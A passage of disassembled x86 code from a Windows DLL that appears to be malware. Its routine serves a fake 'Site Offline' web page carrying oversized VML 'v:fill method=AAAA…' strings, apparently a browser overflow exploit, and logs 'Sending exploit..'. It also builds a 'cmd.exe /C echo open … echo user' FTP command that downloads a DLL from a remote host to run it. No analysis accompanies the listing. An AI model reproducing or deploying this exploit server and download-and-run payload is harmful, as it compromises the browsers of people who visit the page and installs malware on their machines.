		mov	[ebp+arg_4], 0FFFFFFFFh
		jmp	short loc_1000245F
; ---------------------------------------------------------------------------

loc_100023F5:				; CODE XREF: sub_10002157+22Ej
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	80000000h	; dwDesiredAccess
		lea	edx, [ebp+FileName]
		push	edx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0FFFFFFFFh
		jz	short loc_1000245F
		push	0FFh		; Count
		lea	eax, [ebp+FileName]
		push	eax		; Source
		lea	ecx, [ebp+Dest]
		push	ecx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		mov	[ebp+arg_30A], 0
		push	0		; lpFileSizeHigh
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:GetFileSize	; GetFileSize
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+hObject]
		push	eax		; hObject
		call	ds:CloseHandle	; CloseHandle

loc_1000245F:				; CODE XREF: sub_10002157+29Cj
					; sub_10002157+2C7j
		mov	byte ptr [ebp+s], 0
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		lea	ecx, [ebp+Parameter]
		push	ecx		; lpParameter
		push	offset StartAddress ; lpStartAddress
		push	20000h		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread
		test	eax, eax
		jnz	short loc_10002486
		jmp	short loc_100024A0
; ---------------------------------------------------------------------------

loc_10002486:				; CODE XREF: sub_10002157+32Bj
					; sub_10002157+347j
		mov	edx, [ebp+s]
		and	edx, 0FFh
		test	edx, edx
		jnz	short loc_100024A0
		push	0Ah		; dwMilliseconds
		call	ds:Sleep	; Sleep
		jmp	short loc_10002486
; ---------------------------------------------------------------------------

loc_100024A0:				; CODE XREF: sub_10002157+201j
					; sub_10002157+32Dj ...
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_10002157	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_100024A5(SOCKET s,char *lpFileName,char *Source)

sub_100024A5	proc near		; CODE XREF: StartAddress+294p

var_25F8	= dword	ptr -25F8h
var_25F4	= dword	ptr -25F4h
var_25F0	= byte ptr -25F0h
var_25E0	= byte ptr -25E0h
var_25DF	= byte ptr -25DFh
var_2551	= byte ptr -2551h
var_1DE0	= dword	ptr -1DE0h
var_1DDC	= byte ptr -1DDCh
var_1DCC	= byte ptr -1DCCh
var_1DCB	= byte ptr -1DCBh
var_1D3D	= byte ptr -1D3Dh
var_15CC	= dword	ptr -15CCh
var_15C8	= byte ptr -15C8h
var_15B8	= byte ptr -15B8h
var_15B7	= byte ptr -15B7h
var_1529	= byte ptr -1529h
var_DB8		= dword	ptr -0DB8h
var_DB4		= dword	ptr -0DB4h
Dest		= byte ptr -0DB0h
var_DA0		= byte ptr -0DA0h
var_D9F		= byte ptr -0D9Fh
var_D11		= byte ptr -0D11h
var_5A0		= dword	ptr -5A0h
FileTime	= _FILETIME ptr	-59Ch
SystemTime	= _SYSTEMTIME ptr -594h
var_584		= byte ptr -584h
Str1		= _WIN32_FIND_DATAA ptr	-55Ch
Dst		= byte ptr -41Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
hFindFile	= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
buf		= byte ptr -204h
var_4		= dword	ptr -4
s		= dword	ptr  8
lpFileName	= dword	ptr  0Ch
Source		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 25F8h
		call	__alloca_probe
		push	edi
		mov	[ebp+var_31C], 0
		mov	[ebp+var_318], 0
		mov	[ebp+var_208], 0E6h
		mov	[ebp+var_20C], 96h
		mov	[ebp+var_210], 3Ch
		mov	[ebp+var_4], 1Eh
		push	100h		; Size
		push	0		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	offset asc_1000E8B4 ; "\n"
		mov	ecx, [ebp+lpFileName]
		push	ecx		; Str
		call	ds:strtok	; strtok
		add	esp, 8
		cmp	[ebp+Source], 0
		jz	loc_10002891
		mov	edx, [ebp+lpFileName]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		mov	ecx, [ebp+lpFileName]
		mov	byte ptr [ecx+eax-1], 0
		mov	edx, [ebp+lpFileName]
		push	edx
		push	offset aHead	; "<head>\r\n"
		push	200h		; Count
		lea	eax, [ebp+buf]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		push	0		; flags
		lea	ecx, [ebp+buf]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:send	; send
		mov	ecx, [ebp+lpFileName]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		mov	edx, [ebp+lpFileName]
		mov	byte ptr [edx+eax], 2Ah
		mov	eax, [ebp+var_210]
		push	eax
		mov	ecx, [ebp+var_20C]
		push	ecx
		mov	edx, [ebp+var_208]
		push	edx
		push	offset aTitleSiteOffli ; "<title>Site Offline.</title>\r\n"
		push	200h		; Count
		lea	eax, [ebp+buf]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 18h
		push	0		; flags
		lea	ecx, [ebp+buf]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:send	; send
		push	offset aStyle	; "<style>\r\n"
		push	200h		; Count
		lea	ecx, [ebp+buf]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 0Ch
		push	0		; flags
		lea	edx, [ebp+buf]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	eax, [ebp+buf]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:send	; send
		push	offset aVBehaviorUrlDe ; "v:* {	behavior: url(#default#VML); }\r\n"
		push	200h		; Count
		lea	edx, [ebp+buf]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 0Ch
		push	0		; flags
		lea	eax, [ebp+buf]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	ecx, [ebp+buf]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:send	; send
		push	offset aStyle_0	; "</style>\r\n"
		push	200h		; Count
		lea	eax, [ebp+buf]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 0Ch
		push	0		; flags
		lea	ecx, [ebp+buf]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:send	; send
		push	offset aHead_0	; "</head>\r\n"
		push	200h		; Count
		lea	ecx, [ebp+buf]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 0Ch
		push	0		; flags
		lea	edx, [ebp+buf]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	eax, [ebp+buf]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:send	; send
		push	offset aBody	; "<body>\r\n"
		push	200h		; Count
		lea	edx, [ebp+buf]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 0Ch
		push	0		; flags
		lea	eax, [ebp+buf]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	ecx, [ebp+buf]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:send	; send
		push	offset aVFillMethodAaa ; "<v:fill method=AAAAAAAAAAAAAAAAAAAAAAAA"...
		push	200h		; Count
		lea	eax, [ebp+buf]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 0Ch
		push	0		; flags
		lea	ecx, [ebp+buf]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:send	; send
		push	offset aVRect	; "</v:rect>\r\n"
		push	200h		; Count
		lea	ecx, [ebp+buf]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 0Ch
		push	0		; flags
		lea	edx, [ebp+buf]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	eax, [ebp+buf]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:send	; send
		push	offset aBody_0	; "</body>\r\n"
		push	200h		; Count
		lea	edx, [ebp+buf]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 0Ch
		push	0		; flags
		lea	eax, [ebp+buf]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	ecx, [ebp+buf]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:send	; send
		push	offset aHtml	; "</html>\r\n"
		push	200h		; Count
		lea	eax, [ebp+buf]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 0Ch
		push	0		; flags
		lea	ecx, [ebp+buf]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:send	; send
		push	offset byte_1002C868 ; Format
		push	offset aSSendingExploi ; "%s Sending exploit.."
		call	sub_10007303
		add	esp, 8
		mov	[ebp+var_DA0], 0
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_D9F]
		rep stosd
		stosw
		stosb
		call	sub_10006FA2
		push	eax
		push	offset aS_dll_0	; "%s.dll"
		push	10h		; Count
		lea	ecx, [ebp+Dest]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		lea	edx, [ebp+Dest]
		push	edx
		lea	eax, [ebp+Dest]
		push	eax
		xor	ecx, ecx
		mov	cx, hostshort
		push	ecx
		push	offset Dest
		push	offset aCmd_exeCEcho_0 ; "cmd.exe /C echo open %s %hu>x&echo user"...
		push	400h		; Count
		lea	edx, [ebp+var_D11]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 1Ch
		mov	[ebp+var_5A0], eax
		mov	eax, dword_10012A5C
		add	eax, 1
		mov	dword_10012A5C,	eax
		jmp	short loc_100028CE
; ---------------------------------------------------------------------------

loc_10002891:				; CODE XREF: sub_100024A5+73j
		push	offset aVFillMethodA_0 ; "<v:fill method=AAAAAAAAAAAAAAAAAAAAAAAA"...
		push	200h		; Count
		lea	ecx, [ebp+buf]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 0Ch
		push	0		; flags
		lea	edx, [ebp+buf]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	eax, [ebp+buf]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:send	; send

loc_100028CE:				; CODE XREF: sub_100024A5+3EAj
		cmp	[ebp+Source], 0
		jz	loc_1000298C
		mov	edx, [ebp+Source]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		cmp	eax, 2
		jbe	loc_1000298C
		mov	eax, [ebp+Source]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		sub	eax, 3
		mov	[ebp+var_DB4], eax
		jmp	short loc_10002913
; ---------------------------------------------------------------------------

loc_10002904:				; CODE XREF: sub_100024A5:loc_1000292Fj
		mov	ecx, [ebp+var_DB4]
		sub	ecx, 1
		mov	[ebp+var_DB4], ecx

loc_10002913:				; CODE XREF: sub_100024A5+45Dj
		cmp	[ebp+var_DB4], 0
		jz	short loc_10002931
		mov	edx, [ebp+Source]
		add	edx, [ebp+var_DB4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 2Fh
		jnz	short loc_1000292F
		jmp	short loc_10002931
; ---------------------------------------------------------------------------

loc_1000292F:				; CODE XREF: sub_100024A5+486j
		jmp	short loc_10002904
; ---------------------------------------------------------------------------

loc_10002931:				; CODE XREF: sub_100024A5+475j
					; sub_100024A5+488j
		mov	ecx, [ebp+var_DB4]
		add	ecx, 1
		push	ecx		; Count
		mov	edx, [ebp+Source]
		push	edx		; Source
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	offset aVFillMethodA_1 ; "<v:fill method=AAAAAAAAAAAAAAAAAAAAAAAA"...
		push	200h		; Count
		lea	ecx, [ebp+buf]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 0Ch
		push	0		; flags
		lea	edx, [ebp+buf]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	eax, [ebp+buf]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:send	; send

loc_1000298C:				; CODE XREF: sub_100024A5+42Dj
					; sub_100024A5+442j
		lea	edx, [ebp+Str1]
		push	edx		; lpFindFileData
		mov	eax, [ebp+lpFileName]
		push	eax		; lpFileName
		call	ds:FindFirstFileA	; FindFirstFileA
		mov	[ebp+hFindFile], eax

loc_100029A3:				; CODE XREF: sub_100024A5:loc_10003063j
		lea	ecx, [ebp+Str1]
		push	ecx		; lpFindFileData
		mov	edx, [ebp+hFindFile]
		push	edx		; hFindFile
		call	ds:FindNextFileA	; FindNextFileA
		test	eax, eax
		jz	loc_10003068
		cmp	[ebp+Str1.dwFileAttributes], 0
		jz	loc_10003063
		push	offset Str2	; ".."
		lea	eax, [ebp+Str1.cFileName]
		push	eax		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jz	loc_10003063
		push	offset a_	; "."
		lea	ecx, [ebp+Str1.cFileName]
		push	ecx		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jz	loc_10003063
		lea	edx, [ebp+FileTime]
		push	edx		; lpLocalFileTime
		lea	eax, [ebp+Str1.ftLastWriteTime]
		push	eax		; lpFileTime
		call	ds:FileTimeToLocalFileTime	; FileTimeToLocalFileTime
		lea	ecx, [ebp+SystemTime]
		push	ecx		; lpSystemTime
		lea	edx, [ebp+FileTime]
		push	edx		; lpFileTime
		call	ds:FileTimeToSystemTime	; FileTimeToSystemTime
		mov	eax, dword ptr [ebp+SystemTime.wHour]
		and	eax, 0FFFFh
		cmp	eax, 0Ch
		jle	short loc_10002A48
		mov	[ebp+var_25F4],	offset aPm ; "PM"
		jmp	short loc_10002A52
; ---------------------------------------------------------------------------

loc_10002A48:				; CODE XREF: sub_100024A5+595j
		mov	[ebp+var_25F4],	offset aAm ; "AM"

loc_10002A52:				; CODE XREF: sub_100024A5+5A1j
		mov	ecx, dword ptr [ebp+SystemTime.wHour]
		and	ecx, 0FFFFh
		cmp	ecx, 0Ch
		jle	short loc_10002A7A
		mov	edx, dword ptr [ebp+SystemTime.wHour]
		and	edx, 0FFFFh
		sub	edx, 0Ch
		mov	[ebp+var_25F8],	edx
		jmp	short loc_10002A8B
; ---------------------------------------------------------------------------

loc_10002A7A:				; CODE XREF: sub_100024A5+5BCj
		mov	eax, dword ptr [ebp+SystemTime.wHour]
		and	eax, 0FFFFh
		mov	[ebp+var_25F8],	eax

loc_10002A8B:				; CODE XREF: sub_100024A5+5D3j
		mov	ecx, [ebp+var_25F4]
		push	ecx
		mov	edx, dword ptr [ebp+SystemTime.wMinute]
		and	edx, 0FFFFh
		push	edx
		mov	eax, [ebp+var_25F8]
		push	eax
		mov	ecx, dword ptr [ebp+SystemTime.wYear]
		and	ecx, 0FFFFh
		push	ecx
		mov	edx, [ebp-58Eh]
		and	edx, 0FFFFh
		push	edx
		mov	eax, dword ptr [ebp+SystemTime.wMonth]
		and	eax, 0FFFFh
		push	eax
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	28h		; Count
		lea	ecx, [ebp+var_584]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 24h
		mov	edx, [ebp+Str1.dwFileAttributes]
		and	edx, 10h
		test	edx, edx
		jz	loc_10002DFB
		mov	eax, [ebp+var_318]
		add	eax, 1
		mov	[ebp+var_318], eax
		cmp	[ebp+Source], 0
		jz	loc_10002CF8
		push	offset aVFillMethodA_2 ; "<v:fill method=AAAAAAAAAAAAAAAAAAAAAAAA"...
		push	200h		; Count
		lea	ecx, [ebp+buf]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 0Ch
		push	0		; flags
		lea	edx, [ebp+buf]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	eax, [ebp+buf]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:send	; send
		lea	edx, [ebp+Str1.cFileName]
		push	edx
		mov	eax, [ebp+Source]
		push	eax
		push	offset aSS_0	; "%s%s/"
		push	200h		; Count
		lea	ecx, [ebp+buf]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 14h
		push	0		; flags
		lea	edx, [ebp+buf]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	eax, [ebp+buf]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:send	; send
		lea	edx, [ebp+Str1.cFileName]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		cmp	eax, [ebp+var_4]
		jbe	short loc_10002BC9
		lea	eax, [ebp+Str1.cFileName]
		push	eax
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		push	200h		; Count
		lea	ecx, [ebp+buf]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		jmp	short loc_10002BEA
; ---------------------------------------------------------------------------

loc_10002BC9:				; CODE XREF: sub_100024A5+6FFj
		lea	edx, [ebp+Str1.cFileName]
		push	edx
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
		push	200h		; Count
		lea	eax, [ebp+buf]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h

loc_10002BEA:				; CODE XREF: sub_100024A5+722j
		push	0		; flags
		lea	ecx, [ebp+buf]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:send	; send
		mov	ecx, [ebp+var_210]
		push	ecx
		lea	edx, [ebp+var_584]
		push	edx
		mov	eax, [ebp+var_20C]
		push	eax
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	200h		; Count
		lea	ecx, [ebp+buf]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 18h
		push	0		; flags
		lea	edx, [ebp+buf]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	eax, [ebp+buf]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:send	; send
		push	offset byte_1002C868 ; Format
		push	offset aSSendingExpl_0 ; "%s Sending exploit.."
		call	sub_10007303
		add	esp, 8
		mov	[ebp+var_15B8],	0
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_15B7]
		rep stosd
		stosw
		stosb
		call	sub_10006FA2
		push	eax
		push	offset aS_dll_1	; "%s.dll"
		push	10h		; Count
		lea	edx, [ebp+var_15C8]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		lea	eax, [ebp+var_15C8]
		push	eax
		lea	ecx, [ebp+var_15C8]
		push	ecx
		xor	edx, edx
		mov	dx, hostshort
		push	edx
		push	offset Dest
		push	offset aCmd_exeCEcho_1 ; "cmd.exe /C echo open %s %hu>x&echo user"...
		push	400h		; Count
		lea	eax, [ebp+var_1529]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 1Ch
		mov	[ebp+var_DB8], eax
		mov	ecx, dword_10012A5C
		add	ecx, 1
		mov	dword_10012A5C,	ecx
		jmp	loc_10002DF6
; ---------------------------------------------------------------------------

loc_10002CF8:				; CODE XREF: sub_100024A5+662j
		lea	edx, [ebp+Str1.cFileName]
		push	edx
		push	offset aS	; "<%s>"
		push	100h		; Count
		lea	eax, [ebp+var_314]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		lea	ecx, [ebp+var_584]
		push	ecx
		lea	edx, [ebp+var_314]
		push	edx
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		push	200h		; Count
		lea	eax, [ebp+buf]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 14h
		push	0		; flags
		lea	ecx, [ebp+buf]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:send	; send
		push	offset byte_1002C868 ; Format
		push	offset aSSendingExpl_1 ; "%s Sending exploit.."
		call	sub_10007303
		add	esp, 8
		mov	[ebp+var_1DCC],	0
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_1DCB]
		rep stosd
		stosw
		stosb
		call	sub_10006FA2
		push	eax
		push	offset aS_dll_2	; "%s.dll"
		push	10h		; Count
		lea	ecx, [ebp+var_1DDC]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		lea	edx, [ebp+var_1DDC]
		push	edx
		lea	eax, [ebp+var_1DDC]
		push	eax
		xor	ecx, ecx
		mov	cx, hostshort
		push	ecx
		push	offset Dest
		push	offset aCmd_exeCEcho_2 ; "cmd.exe /C echo open %s %hu>x&echo user"...
		push	400h		; Count
		lea	edx, [ebp+var_1D3D]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 1Ch
		mov	[ebp+var_15CC],	eax
		mov	eax, dword_10012A5C
		add	eax, 1
		mov	dword_10012A5C,	eax

loc_10002DF6:				; CODE XREF: sub_100024A5+84Ej
		jmp	loc_10003063
; ---------------------------------------------------------------------------

loc_10002DFB:				; CODE XREF: sub_100024A5+649j
		mov	ecx, [ebp+var_31C]
		add	ecx, 1
		mov	[ebp+var_31C], ecx
		cmp	[ebp+Source], 0
		jz	loc_10003011
		mov	edx, [ebp+var_208]
		push	edx
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		push	200h		; Count
		lea	eax, [ebp+buf]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		push	0		; flags
		lea	ecx, [ebp+buf]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:send	; send
		lea	ecx, [ebp+Str1.cFileName]
		push	ecx
		mov	edx, [ebp+Source]
		push	edx
		push	offset aSS_1	; "%s%s"
		push	200h		; Count
		lea	eax, [ebp+buf]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 14h
		push	0		; flags
		lea	ecx, [ebp+buf]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:send	; send
		lea	ecx, [ebp+Str1.cFileName]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		mov	edx, [ebp+var_4]
		add	edx, 1
		cmp	eax, edx
		jbe	short loc_10002EDC
		lea	eax, [ebp+Str1.cFileName]
		push	eax
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		push	200h		; Count
		lea	ecx, [ebp+buf]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		jmp	short loc_10002EFD
; ---------------------------------------------------------------------------

loc_10002EDC:				; CODE XREF: sub_100024A5+A12j
		lea	edx, [ebp+Str1.cFileName]
		push	edx
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
		push	200h		; Count
		lea	eax, [ebp+buf]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h

loc_10002EFD:				; CODE XREF: sub_100024A5+A35j
		push	0		; flags
		lea	ecx, [ebp+buf]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:send	; send
		mov	ecx, [ebp+Str1.nFileSizeLow]
		shr	ecx, 0Ah
		push	ecx
		mov	edx, [ebp+var_210]
		push	edx
		lea	eax, [ebp+var_584]
		push	eax
		mov	ecx, [ebp+var_20C]
		push	ecx
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	200h		; Count
		lea	edx, [ebp+buf]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 1Ch
		push	0		; flags
		lea	eax, [ebp+buf]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	ecx, [ebp+buf]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:send	; send
		push	offset byte_1002C868 ; Format
		push	offset aSSendingExpl_2 ; "%s Sending exploit.."
		call	sub_10007303
		add	esp, 8
		mov	[ebp+var_25E0],	0
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_25DF]
		rep stosd
		stosw
		stosb
		call	sub_10006FA2
		push	eax
		push	offset aS_dll_3	; "%s.dll"
		push	10h		; Count
		lea	eax, [ebp+var_25F0]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		lea	ecx, [ebp+var_25F0]
		push	ecx
		lea	edx, [ebp+var_25F0]
		push	edx
		xor	eax, eax
		mov	ax, hostshort
		push	eax
		push	offset Dest
		push	offset aCmd_exeCEcho_3 ; "cmd.exe /C echo open %s %hu>x&echo user"...
		push	400h		; Count
		lea	ecx, [ebp+var_2551]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 1Ch
		mov	[ebp+var_1DE0],	eax
		mov	edx, dword_10012A5C
		add	edx, 1
		mov	dword_10012A5C,	edx
		jmp	short loc_10003063
; ---------------------------------------------------------------------------

loc_10003011:				; CODE XREF: sub_100024A5+969j
		mov	eax, [ebp+Str1.nFileSizeLow]
		push	eax
		lea	ecx, [ebp+var_584]
		push	ecx
		lea	edx, [ebp+Str1.cFileName]
		push	edx
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	200h		; Count
		lea	eax, [ebp+buf]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 18h
		push	0		; flags
		lea	ecx, [ebp+buf]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:send	; send

loc_10003063:				; CODE XREF: sub_100024A5+521j
					; sub_100024A5+53Dj ...
		jmp	loc_100029A3
; ---------------------------------------------------------------------------

loc_10003068:				; CODE XREF: sub_100024A5+514j
		mov	ecx, [ebp+hFindFile]
		push	ecx		; hFindFile
		call	ds:FindClose	; FindClose
		cmp	[ebp+Source], 0
		jz	short loc_10003097
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	200h		; Count
		lea	edx, [ebp+buf]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 0Ch
		jmp	short loc_100030B1
; ---------------------------------------------------------------------------

loc_10003097:				; CODE XREF: sub_100024A5+BD4j
		push	offset aVFillMethodA_3 ; "<v:fill method=AAAAAAAAAAAAAAAAAAAAAAAA"...
		push	200h		; Count
		lea	eax, [ebp+buf]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 0Ch

loc_100030B1:				; CODE XREF: sub_100024A5+BF0j
		push	0		; flags
		lea	ecx, [ebp+buf]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:send	; send
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_100024A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl 